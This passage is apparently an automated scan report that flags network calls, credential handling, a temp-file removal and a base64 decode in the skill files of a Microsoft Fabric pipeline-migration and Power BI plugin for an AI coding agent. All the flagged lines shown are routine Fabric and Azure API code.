    "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/settings/1.0.0/schema.json#",
  • Network accessline 131
    {   "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#",
  • Network accessline 132
    "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#",
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 219
    return {         "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/variables/1.0.0/schema.json#",
  • Network accessline 220
    "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/variables/1.0.0/schema.json#",
  • Network accessline 226
    """Build a value set from variables definition (copies default values)."""     return {         "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#"
  • Network accessline 227
    return {         "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#",         "name": name,
  • Network accessline 228
    "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#",
  • Network accessline 258
    settings_content = {         "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/settings/1.0.0/schema.json#",
  • Network accessline 259
    "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/settings/1.0.0/schema.json#",
  • Network accessline 293
    r = requests.post(
  • Network accessline 294
    f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/items",
  • Network accessline 314
    if location:                 if location.startswith("/"):                     location = f"https://api.fabric.microsoft.com{location}"
  • Network accessline 315
    if location.startswith("/"):                     location = f"https://api.fabric.microsoft.com{location}"                 fetched = requests.get(location, headers=headers, timeout=_HTTP_TIMEOUT)
  • Network accessline 316
    location = f"https://api.fabric.microsoft.com{location}"                 fetched = requests.get(location, headers=headers, timeout=_HTTP_TIMEOUT)                 fetched.raise_for_status()
  • Network accessline 317
    fetched = requests.get(location, headers=headers, timeout=_HTTP_TIMEOUT)
  • Network accessline 329
    operation_id = r.headers.get("x-ms-operation-id")         if not op_url and operation_id:             op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}"
  • Network accessline 330
    if not op_url and operation_id:             op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}"         if not op_url:
  • Network accessline 331
    op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}"
  • Network accessline 333
    raise RuntimeError("202 response with no LRO URL header")         # Resolve relative LRO URLs (e.g. "/v1/operations/...") against the         # Fabric base so requests.get() receives a valid absolute URL,
  • Network accessline 334
    # Resolve relative LRO URLs (e.g. "/v1/operations/...") against the         # Fabric base so requests.get() receives a valid absolute URL,         # matching the normalization used in pipeline-orchestrator.md.
  • Network accessline 335
    # Fabric base so requests.get() receives a valid absolute URL,
  • Network accessline 336
    # matching the normalization used in pipeline-orchestrator.md.         if op_url.startswith("/"):             op_url = f"https://api.fabric.microsoft.com{op_url}"
  • Network accessline 337
    if op_url.startswith("/"):             op_url = f"https://api.fabric.microsoft.com{op_url}"         import time
  • Network accessline 338
    op_url = f"https://api.fabric.microsoft.com{op_url}"
  • Access to secretsline 343
    [Credential-related source omitted]
  • Access to secretsline 344
    [Credential-related source omitted]
  • Network accessline 349
    sleep_s = float(retry_after) if retry_after else base_poll_interval             time.sleep(sleep_s)             poll = requests.get(op_url, headers=headers, timeout=_HTTP_TIMEOUT)
  • Network accessline 350
    time.sleep(sleep_s)             poll = requests.get(op_url, headers=headers, timeout=_HTTP_TIMEOUT)             poll.raise_for_status()
  • Network accessline 351
    poll = requests.get(op_url, headers=headers, timeout=_HTTP_TIMEOUT)
  • Network accessline 366
    if resource_loc:                         if resource_loc.startswith("/"):                             resource_loc = f"https://api.fabric.microsoft.com{resource_loc}"
  • Network accessline 367
    if resource_loc.startswith("/"):                             resource_loc = f"https://api.fabric.microsoft.com{resource_loc}"                         created = requests.get(resource_loc, headers=headers, timeout=_HTTP_TIMEOUT)
  • Network accessline 368
    resource_loc = f"https://api.fabric.microsoft.com{resource_loc}"                         created = requests.get(resource_loc, headers=headers, timeout=_HTTP_TIMEOUT)                         created.raise_for_status()
  • Network accessline 369
    created = requests.get(resource_loc, headers=headers, timeout=_HTTP_TIMEOUT)
  • Network accessline 488
    prod_value_set = {     "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#",
  • Network accessline 489
    "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/linked-service-to-connection.md

  • Network accessline 68
    [Credential-related source omitted]
  • Access to secretsline 68
    [Credential-related source omitted]
  • Network accessline 69
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Network accessline 70
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 78
    POST https://api.fabric.microsoft.com/v1/connections
  • Network accessline 81
    Connection creation requires `connectivityType`, `displayName`, `connectionDetails` (with `type`, `creationMethod`, and `parameters`), and `credentialDetails` (with `credentials` nested inside). Connector identity comes from `connectionDeta
  • Network accessline 88
    [Credential-related source omitted]
  • Access to secretsline 88
    [Credential-related source omitted]
  • Network accessline 89
    [Credential-related source omitted]
  • Access to secretsline 89
    [Credential-related source omitted]
  • Network accessline 90
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 116
    > **Payload shape (critical):** Per the [Create Connection REST API](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/create-connection), the body has **no top-level `connectorId` field**. Connector identity comes from `co
  • Network accessline 121
    [Credential-related source omitted]
  • Access to secretsline 121
    [Credential-related source omitted]
  • Network accessline 122
    [Credential-related source omitted]
  • Access to secretsline 122
    [Credential-related source omitted]
  • Network accessline 123
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Access to secretsline 162
    [Credential-related source omitted]
  • Dangerous shell operationline 165
    >   rm /tmp/conn_body.json
  • Access to secretsline 170
    [Credential-related source omitted]
  • Access to secretsline 177
    [Credential-related source omitted]
  • Access to secretsline 180
    [Credential-related source omitted]
  • Network accessline 207
    [Credential-related source omitted]
  • Network accessline 208
    SYNAPSE_ENDPOINT = "https://myworkspace.dev.azuresynapse.net"
  • Network accessline 213
    items = []     while url:         r = requests.get(url, headers=headers)
  • Network accessline 214
    while url:         r = requests.get(url, headers=headers)         r.raise_for_status()
  • Network accessline 215
    r = requests.get(url, headers=headers)
  • Network accessline 248
    > **Convention note (display name vs GUID)**: This skill standardizes on the connection **display name** in pipeline activity `linkedService.referenceName` blocks. The canonical Copy-activity alternative is to reference the connection **GUI
  • Network accessline 264
    Use the values (GUIDs) only for Fabric API calls that require a connection ID.     """     url = "https://api.fabric.microsoft.com/v1/connections"
  • Network accessline 265
    """     url = "https://api.fabric.microsoft.com/v1/connections"     connections = {}
  • Network accessline 266
    url = "https://api.fabric.microsoft.com/v1/connections"
  • Network accessline 267
    connections = {}     while url:         r = requests.get(url, headers=headers)
  • Network accessline 268
    while url:         r = requests.get(url, headers=headers)         r.raise_for_status()
  • Network accessline 269
    r = requests.get(url, headers=headers)
  • Network accessline 277
    # breaks pagination on workspaces with > 1 page of connections.         url = (             f"https://api.fabric.microsoft.com/v1/connections"
  • Network accessline 278
    url = (             f"https://api.fabric.microsoft.com/v1/connections"             f"?continuationToken={quote(cont, safe='')}"
  • Network accessline 279
    f"https://api.fabric.microsoft.com/v1/connections"

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/migration-report.md

  • Network accessline 9
    | Item | URL Pattern | |---|---| | DataPipeline | `https://app.fabric.microsoft.com/groups/{workspaceId}/datapipelines/{itemId}` |
  • Network accessline 10
    |---|---| | DataPipeline | `https://app.fabric.microsoft.com/groups/{workspaceId}/datapipelines/{itemId}` | | Notebook | `https://app.fabric.microsoft.com/groups/{workspaceId}/synapsenotebooks/{itemId}` |
  • Network accessline 11
    | DataPipeline | `https://app.fabric.microsoft.com/groups/{workspaceId}/datapipelines/{itemId}` |
  • Network accessline 12
    | Notebook | `https://app.fabric.microsoft.com/groups/{workspaceId}/synapsenotebooks/{itemId}` |
  • Network accessline 13
    | Variable Library | `https://app.fabric.microsoft.com/groups/{workspaceId}/variablelibraries/{itemId}` |
  • Network accessline 14
    | Workspace | `https://app.fabric.microsoft.com/groups/{workspaceId}` |
  • Network accessline 68
    def fabric_url(self) -> Optional[str]:         if self.fabric_pipeline_id and self.fabric_workspace_id:             return (f"https://app.fabric.microsoft.com/groups/{self.fabric_workspace_id}"
  • Network accessline 69
    if self.fabric_pipeline_id and self.fabric_workspace_id:             return (f"https://app.fabric.microsoft.com/groups/{self.fabric_workspace_id}"                     f"/datapipelines/{self.fabric_pipeline_id}")
  • Network accessline 70
    return (f"https://app.fabric.microsoft.com/groups/{self.fabric_workspace_id}"
  • Network accessline 177
    workspace_url = f"https://app.fabric.microsoft.com/groups/{fabric_workspace_id}"
  • Network accessline 200
    if variable_library_id:         vl_url = f"https://app.fabric.microsoft.com/groups/{fabric_workspace_id}/variablelibraries/{variable_library_id}"
  • Network accessline 201
    vl_url = f"https://app.fabric.microsoft.com/groups/{fabric_workspace_id}/variablelibraries/{variable_library_id}"
  • Network accessline 389
    **Source**: Synapse workspace `mysynapse` **Target**: [Fabric Workspace](https://app.fabric.microsoft.com/groups/dddd-...)
  • Network accessline 390
    **Target**: [Fabric Workspace](https://app.fabric.microsoft.com/groups/dddd-...)
  • Network accessline 404
    Global parameters migrated to: [aaaa-...](https://app.fabric.microsoft.com/groups/.../variablelibraries/aaaa-...)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/notebook-activity-migration.md

  • Network accessline 259
    [Credential-related source omitted]
  • Access to secretsline 259
    [Credential-related source omitted]
  • Network accessline 260
    [Credential-related source omitted]
  • Access to secretsline 260
    [Credential-related source omitted]
  • Network accessline 261
    --url "https://api.fabric.microsoft.com/v1/workspaces/${FABRIC_WS_ID}/notebooks" \
  • Network accessline 268
    [Credential-related source omitted]
  • Access to secretsline 268
    [Credential-related source omitted]
  • Network accessline 269
    [Credential-related source omitted]
  • Access to secretsline 269
    [Credential-related source omitted]
  • Network accessline 270
    --url "https://api.fabric.microsoft.com/v1/workspaces/${FABRIC_WS_ID}/notebooks" \
  • Access to secretsline 282
    [Credential-related source omitted]
  • Access to secretsline 283
    [Credential-related source omitted]
  • Network accessline 287
    [Credential-related source omitted]
  • Network accessline 288
    [Credential-related source omitted]
  • Network accessline 289
    url = f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/notebooks"
  • Network accessline 290
    notebooks = {}     while url:         r = requests.get(url, headers=headers, timeout=_HTTP_TIMEOUT)
  • Network accessline 291
    while url:         r = requests.get(url, headers=headers, timeout=_HTTP_TIMEOUT)         r.raise_for_status()
  • Network accessline 292
    r = requests.get(url, headers=headers, timeout=_HTTP_TIMEOUT)
  • Network accessline 300
    # the raw token into the query string breaks pagination.         url = (             f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/notebooks"
  • Network accessline 301
    url = (             f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/notebooks"             f"?continuationToken={quote(cont, safe='')}"
  • Network accessline 302
    f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/notebooks"

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/pipeline-assessment.md

  • Network accessline 32
    > **Synapse Studio URL shortcut**: If the user provides a URL like `https://web.azuresynapse.net/en/home?workspace=%2Fsubscriptions%2F{subId}%2FresourceGroups%2F{rg}%2Fproviders%2FMicrosoft.Synapse%2Fworkspaces%2F{wsName}`, extract all thre
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 58
    [Credential-related source omitted]
  • Network accessline 186
    items = []     while url:         r = requests.get(url, headers=headers, timeout=HTTP_TIMEOUT)
  • Network accessline 187
    while url:         r = requests.get(url, headers=headers, timeout=HTTP_TIMEOUT)         r.raise_for_status()
  • Network accessline 188
    r = requests.get(url, headers=headers, timeout=HTTP_TIMEOUT)
  • Network accessline 197
    """Fetch Synapse workspace global parameters via ARM."""     url = (         f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}"
  • Network accessline 198
    url = (         f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}"         f"/providers/Microsoft.Synapse/workspaces/{ws_name}?api-version=2021-06-01"
  • Network accessline 199
    f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}"
  • Network accessline 200
    [Credential-related source omitted]
  • Network accessline 201
    [Credential-related source omitted]
  • Network accessline 202
    [Credential-related source omitted]
  • Network accessline 330
    ls_classifications     """     dp_base = f"https://{synapse_workspace_name}.dev.azuresynapse.net"
  • Network accessline 332
    dp_base = f"https://{synapse_workspace_name}.dev.azuresynapse.net"
  • Network accessline 369
    # The /pipelines list endpoint returns stubs without properties.activities.         # Fetch the full definition so walk_activities sees the real activity tree.         r = requests.get(
  • Network accessline 370
    # Fetch the full definition so walk_activities sees the real activity tree.         r = requests.get(             f"{dp_base}/pipelines/{pl_name}?api-version=2020-12-01",
  • Network accessline 371
    r = requests.get(
  • Network accessline 723
    [Credential-related source omitted]
  • Network accessline 724
    [Credential-related source omitted]

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/pipeline-gotchas.md

  • Network accessline 75
    **Resolution**: 1. Install the **on-premises data gateway** on the same machine or network as the SHIR    - Download: https://aka.ms/odg/download
  • Network accessline 76
    1. Install the **on-premises data gateway** on the same machine or network as the SHIR    - Download: https://aka.ms/odg/download    - Register under the same tenant as the Fabric workspace
  • Network accessline 77
    - Download: https://aka.ms/odg/download
  • Network accessline 114
    [Credential-related source omitted]
  • Network accessline 115
    [Credential-related source omitted]
  • Network accessline 116
    base = f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/datapipelines"
  • Network accessline 117
    items, url = [], base        while url:            r = requests.get(url, headers=headers)
  • Network accessline 118
    while url:            r = requests.get(url, headers=headers)            r.raise_for_status()
  • Network accessline 119
    r = requests.get(url, headers=headers)
  • Network accessline 162
    "authentication": {       "type": "MSI",       "resource": "https://vault.azure.net"
  • Network accessline 163
    "type": "MSI",       "resource": "https://vault.azure.net"     }
  • Network accessline 164
    "resource": "https://vault.azure.net"
  • Network accessline 241
    "type": "WebActivity",   "typeProperties": {     "url": "https://management.azure.com/subscriptions/.../factories/<adf>/pipelines/<pipeline>/createRun?api-version=2018-06-01",
  • Network accessline 242
    "typeProperties": {     "url": "https://management.azure.com/subscriptions/.../factories/<adf>/pipelines/<pipeline>/createRun?api-version=2018-06-01",     "method": "POST",
  • Network accessline 243
    "url": "https://management.azure.com/subscriptions/.../factories/<adf>/pipelines/<pipeline>/createRun?api-version=2018-06-01",
  • Network accessline 244
    "method": "POST",     "authentication": { "type": "MSI", "resource": "https://management.azure.com/" },     "body": { "runDate": "@pipeline().parameters.runDate" }
  • Network accessline 245
    "authentication": { "type": "MSI", "resource": "https://management.azure.com/" },
  • Network accessline 267
    "url": "https://<vault-name>.vault.azure.net/secrets/databricks-token?api-version=7.4",         "method": "GET",         "authentication": { "type": "MSI", "resource": "https://vault.azure.net" }
  • Network accessline 268
    "method": "GET",         "authentication": { "type": "MSI", "resource": "https://vault.azure.net" }       }
  • Network accessline 269
    "authentication": { "type": "MSI", "resource": "https://vault.azure.net" }

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/pipeline-orchestrator.md

  • Network accessline 35
    > **Synapse Studio URL shortcut**: If the user provides a URL like `https://web.azuresynapse.net/en/home?workspace=%2Fsubscriptions%2F{subId}%2FresourceGroups%2F{rg}%2Fproviders%2FMicrosoft.Synapse%2Fworkspaces%2F{wsName}`, extract all thre
  • Network accessline 97
    [Credential-related source omitted]
  • Network accessline 98
    [Credential-related source omitted]
  • Network accessline 99
    [Credential-related source omitted]
  • Network accessline 103
    SYNAPSE_BASE = f"https://{SYNAPSE_WS}.dev.azuresynapse.net"
  • Network accessline 104
    FABRIC_BASE  = "https://api.fabric.microsoft.com/v1"
  • Access to secretsline 111
    [Credential-related source omitted]
  • Access to secretsline 112
    [Credential-related source omitted]
  • Network accessline 115
    def synapse_get(path):     r = requests.get(f"{SYNAPSE_BASE}{path}",
  • Network accessline 116
    r = requests.get(f"{SYNAPSE_BASE}{path}",
  • Network accessline 128
    items, url = [], f"{SYNAPSE_BASE}{path}"     while url:         r = requests.get(url,
  • Network accessline 129
    [Credential-related source omitted]
  • Network accessline 130
    r = requests.get(url,
  • Network accessline 139
    def fabric_get(path):     r = requests.get(f"{FABRIC_BASE}{path}",
  • Network accessline 140
    r = requests.get(f"{FABRIC_BASE}{path}",
  • Network accessline 158
    [Credential-related source omitted]
  • Network accessline 159
    [Credential-related source omitted]
  • Network accessline 160
    [Credential-related source omitted]
  • Network accessline 169
    def fabric_post(path, body):     r = requests.post(f"{FABRIC_BASE}{path}",
  • Network accessline 170
    r = requests.post(f"{FABRIC_BASE}{path}",
  • Network accessline 189
    # Resolve relative URLs against the Fabric base.             if location.startswith("/"):                 location = f"https://api.fabric.microsoft.com{location}"
  • Network accessline 190
    if location.startswith("/"):                 location = f"https://api.fabric.microsoft.com{location}"             fetched = requests.get(location,
  • Network accessline 191
    [Credential-related source omitted]
  • Network accessline 192
    fetched = requests.get(location,
  • Network accessline 205
    r.headers.get("Location")             or r.headers.get("Operation-Location")             or (f"https://api.fabric.microsoft.com/v1/operations/{r.headers['x-ms-operation-id']}"
  • Network accessline 206
    or r.headers.get("Operation-Location")             or (f"https://api.fabric.microsoft.com/v1/operations/{r.headers['x-ms-operation-id']}"                 if "x-ms-operation-id" in r.headers else None)
  • Network accessline 207
    or (f"https://api.fabric.microsoft.com/v1/operations/{r.headers['x-ms-operation-id']}"
  • Network accessline 214
    # matching the 200/201 path above.         if location.startswith("/"):             location = f"https://api.fabric.microsoft.com{location}"
  • Network accessline 215
    if location.startswith("/"):             location = f"https://api.fabric.microsoft.com{location}"         max_polls = int(os.environ.get("FABRIC_LRO_MAX_POLLS", 150))   # default ~5 min at 2 s base
  • Network accessline 216
    location = f"https://api.fabric.microsoft.com{location}"
  • Access to secretsline 217
    [Credential-related source omitted]
  • Access to secretsline 218
    [Credential-related source omitted]
  • Network accessline 224
    time.sleep(float(initial_retry) if initial_retry else base_sleep)         for _ in range(max_polls):             poll = requests.get(location,
  • Network accessline 225
    [Credential-related source omitted]
  • Network accessline 226
    poll = requests.get(location,
  • Network accessline 238
    if resource_url:                     if resource_url.startswith("/"):                         resource_url = f"https://api.fabric.microsoft.com{resource_url}"
  • Network accessline 239
    if resource_url.startswith("/"):                         resource_url = f"https://api.fabric.microsoft.com{resource_url}"                     item = requests.get(resource_url,
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 241
    item = requests.get(resource_url,
  • Network accessline 557
    })     pid = resp.get("id", "unknown")     url = f"https://app.fabric.microsoft.com/groups/{FABRIC_WS_ID}/datapipelines/{pid}"
  • Network accessline 558
    pid = resp.get("id", "unknown")     url = f"https://app.fabric.microsoft.com/groups/{FABRIC_WS_ID}/datapipelines/{pid}"     print(f"  [OK] Created: {name}  (id: {pid})")
  • Network accessline 559
    url = f"https://app.fabric.microsoft.com/groups/{FABRIC_WS_ID}/datapipelines/{pid}"
  • Network accessline 574
    | Value | Derived From | |---|---| | Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` |
  • Network accessline 575
    |---|---| | Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` | | Fabric workspace ID | `GET /v1/workspaces` → JMESPath filter by `displayName` |
  • Network accessline 576
    | Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` |
  • Network accessline 640
    [Credential-related source omitted]
  • Network accessline 641
    [Credential-related source omitted]
  • Network accessline 642
    --resource https://dev.azuresynapse.net \
  • Network accessline 645
    [Credential-related source omitted]
  • Network accessline 646
    [Credential-related source omitted]
  • Network accessline 647
    --resource https://management.azure.com \
  • Network accessline 650
    [Credential-related source omitted]
  • Network accessline 651
    [Credential-related source omitted]
  • Network accessline 652
    --resource https://api.fabric.microsoft.com \
  • Network accessline 655
    SYNAPSE_WS="mysynapseworkspace" SYNAPSE_ENDPOINT="https://${SYNAPSE_WS}.dev.azuresynapse.net"
  • Network accessline 656
    SYNAPSE_ENDPOINT="https://${SYNAPSE_WS}.dev.azuresynapse.net"
  • Access to secretsline 667
    [Credential-related source omitted]
  • Access to secretsline 668
    [Credential-related source omitted]
  • Access to secretsline 677
    [Credential-related source omitted]
  • Access to secretsline 678
    [Credential-related source omitted]
  • Access to secretsline 687
    [Credential-related source omitted]
  • Access to secretsline 688
    [Credential-related source omitted]
  • Access to secretsline 697
    [Credential-related source omitted]
  • Access to secretsline 698
    [Credential-related source omitted]
  • Network accessline 710
    [Credential-related source omitted]
  • Access to secretsline 710
    [Credential-related source omitted]
  • Network accessline 711
    [Credential-related source omitted]
  • Access to secretsline 711
    [Credential-related source omitted]
  • Network accessline 712
    --url "https://management.azure.com/subscriptions/${SUB_ID}/resourceGroups/${RG}/providers/Microsoft.Synapse/workspaces/${SYNAPSE_WS}?api-version=2021-06-01" \
  • Network accessline 763
    [Credential-related source omitted]
  • Access to secretsline 763
    [Credential-related source omitted]
  • Network accessline 764
    [Credential-related source omitted]
  • Access to secretsline 764
    [Credential-related source omitted]
  • Network accessline 765
    --url "https://api.fabric.microsoft.com/v1/workspaces/${FABRIC_WS_ID}/notebooks" \
  • Network accessline 852
    response = requests.post(
  • Network accessline 853
    f"https://api.fabric.microsoft.com/v1/workspaces/{FABRIC_WS_ID}/items",
  • Network accessline 890
    [Credential-related source omitted]
  • Access to secretsline 890
    [Credential-related source omitted]
  • Network accessline 891
    [Credential-related source omitted]
  • Access to secretsline 891
    [Credential-related source omitted]
  • Network accessline 892
    --url "https://api.fabric.microsoft.com/v1/workspaces/${FABRIC_WS_ID}/items/${PIPELINE_ITEM_ID}/updateDefinition" \
  • Network accessline 914
    [Credential-related source omitted]
  • Network accessline 915
    SYNAPSE_ENDPOINT = "https://myworkspace.dev.azuresynapse.net"
  • Network accessline 919
    items = []     while url:         r = requests.get(url, headers=headers, timeout=60)
  • Network accessline 920
    while url:         r = requests.get(url, headers=headers, timeout=60)         r.raise_for_status()
  • Network accessline 921
    r = requests.get(url, headers=headers, timeout=60)
  • Network accessline 941
    # The list endpoint returns stubs — properties.activities is often omitted.     # Fetch each pipeline definition to get the real activity list.     r = requests.get(
  • Network accessline 942
    # Fetch each pipeline definition to get the real activity list.     r = requests.get(         f"{SYNAPSE_ENDPOINT}/pipelines/{name}?api-version=2020-12-01",
  • Network accessline 943
    r = requests.get(
  • Network accessline 993
    [Credential-related source omitted]
  • Network accessline 994
    [Credential-related source omitted]
  • Network accessline 995
    [Credential-related source omitted]
  • Network accessline 1003
    [Credential-related source omitted]
  • Network accessline 1004
    [Credential-related source omitted]
  • Network accessline 1005
    [Credential-related source omitted]

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/validation-testing.md

  • Network accessline 29
    [Credential-related source omitted]
  • Access to secretsline 29
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Network accessline 31
    --url "https://api.fabric.microsoft.com/v1/workspaces/${FABRIC_WS_ID}/items/${PIPELINE_ITEM_ID}/getDefinition"
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 56
    [Credential-related source omitted]
  • Network accessline 58
    # Start getDefinition     r = requests.post(
  • Network accessline 59
    r = requests.post(
  • Network accessline 60
    f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/items/{pipeline_item_id}/getDefinition",
  • Network accessline 84
    operation_id = r.headers.get("x-ms-operation-id")     if not op_url and operation_id:         op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}"
  • Network accessline 85
    if not op_url and operation_id:         op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}"     if not op_url:
  • Network accessline 86
    op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}"
  • Network accessline 98
    # Some Fabric endpoints return a relative Location/Operation-Location     # (e.g. "/v1/operations/..."). Resolve against the Fabric base before     # polling so requests.get() receives a valid absolute URL.
  • Network accessline 99
    # (e.g. "/v1/operations/..."). Resolve against the Fabric base before     # polling so requests.get() receives a valid absolute URL.     if op_url.startswith("/"):
  • Network accessline 100
    # polling so requests.get() receives a valid absolute URL.
  • Network accessline 102
    op_url = f"https://api.fabric.microsoft.com{op_url}"
  • Network accessline 108
    sleep_s = float(retry_after) if retry_after else base_poll_interval         time.sleep(sleep_s)         poll = requests.get(op_url, headers=headers, timeout=http_timeout)
  • Network accessline 109
    time.sleep(sleep_s)         poll = requests.get(op_url, headers=headers, timeout=http_timeout)         poll.raise_for_status()
  • Network accessline 110
    poll = requests.get(op_url, headers=headers, timeout=http_timeout)
  • Network accessline 117
    if result_url:                 if result_url.startswith("/"):                     result_url = f"https://api.fabric.microsoft.com{result_url}"
  • Network accessline 118
    if result_url.startswith("/"):                     result_url = f"https://api.fabric.microsoft.com{result_url}"                 # Fetch and validate the resourceLocation payload defensively:
  • Network accessline 119
    result_url = f"https://api.fabric.microsoft.com{result_url}"                 # Fetch and validate the resourceLocation payload defensively:                 # raise on 4xx/5xx, and guard r.json() on an empty 200 body so
  • Network accessline 121
    # raise on 4xx/5xx, and guard r.json() on an empty 200 body so                 # the success path can't fail with a confusing ValueError.                 result_resp = requests.get(result_url, headers=headers, timeout=http_timeout)
  • Network accessline 122
    # the success path can't fail with a confusing ValueError.                 result_resp = requests.get(result_url, headers=headers, timeout=http_timeout)                 result_resp.raise_for_status()
  • Network accessline 123
    result_resp = requests.get(result_url, headers=headers, timeout=http_timeout)
  • Possible obfuscationline 174
    return json.loads(base64.b64decode(payload).decode())
  • Access to secretsline 217
    [Credential-related source omitted]
  • Access to secretsline 218
    [Credential-related source omitted]
  • Network accessline 230
    r = requests.post(
  • Network accessline 231
    f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/datapipelines/{pipeline_item_id}/jobs/instances?jobType=Pipeline",
  • Network accessline 253
    while time.time() < deadline:         r = requests.get(
  • Network accessline 254
    r = requests.get(
  • Network accessline 255
    f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/datapipelines/{pipeline_item_id}/jobs/instances/{job_instance_id}",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-bi-development/README.md

  • Network accessline 34
    This plugin is part of [Awesome Copilot](https://github.com/github/awesome-copilot), a community-driven collection of GitHub Copilot extensions.

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-bi-development/agents/power-bi-visualization-expert.agent.md

  • Network accessline 184
    type: "report",   id: reportId,   embedUrl: "https://app.powerbi.com/reportEmbed",
  • Network accessline 185
    id: reportId,   embedUrl: "https://app.powerbi.com/reportEmbed",   tokenType: models.TokenType.Embed,
  • Network accessline 186
    embedUrl: "https://app.powerbi.com/reportEmbed",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-bi-development/plugin.json

  • Network accessline 1
    {   "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json",
  • Network accessline 2
    "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json",
  • Network accessline 7
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 8
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 9
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-architect/README.md

  • Network accessline 1
    # Power Platform Architect Plugin ![banner](https://i.imgur.com/rIJLfiL.png)
  • Network accessline 2
    ![banner](https://i.imgur.com/rIJLfiL.png)
  • Network accessline 13
    [![link](https://i.imgur.com/UnImFhl.png)](https://youtu.be/tn4jEpZ6jiw)
  • Network accessline 26
    3. **Component Recommendation** — Selects only the Power Platform components that serve a real purpose in the solution and explains the role each one plays. It follows a built-in decision framework (e.g., external access → Power Pages, data
  • Network accessline 28
    5. **Architecture Diagram (Optional)** — On request, generates a Mermaid.js diagram visualizing the architecture, saves it to a `.md` file, and directs the user to [mermaid.ai/live/edit](https://mermaid.ai/live/edit) to render it.
  • Network accessline 32
    ![example](https://i.imgur.com/IH1JsPZ.jpeg)
  • Network accessline 41
    ## Example Output Architecture Diagram (rendered in [mermaid](https://mermaid.js.org/))
  • Network accessline 42
    ![example](https://i.imgur.com/eR1Og3W.png)
  • Network accessline 162
    ## Source Created by [Tim Hanewich](https://timh.ai), Senior AI Solution Engineer at Microsoft.
  • Network accessline 163
    Created by [Tim Hanewich](https://timh.ai), Senior AI Solution Engineer at Microsoft.

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-architect/plugin.json

  • Network accessline 1
    {   "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json",
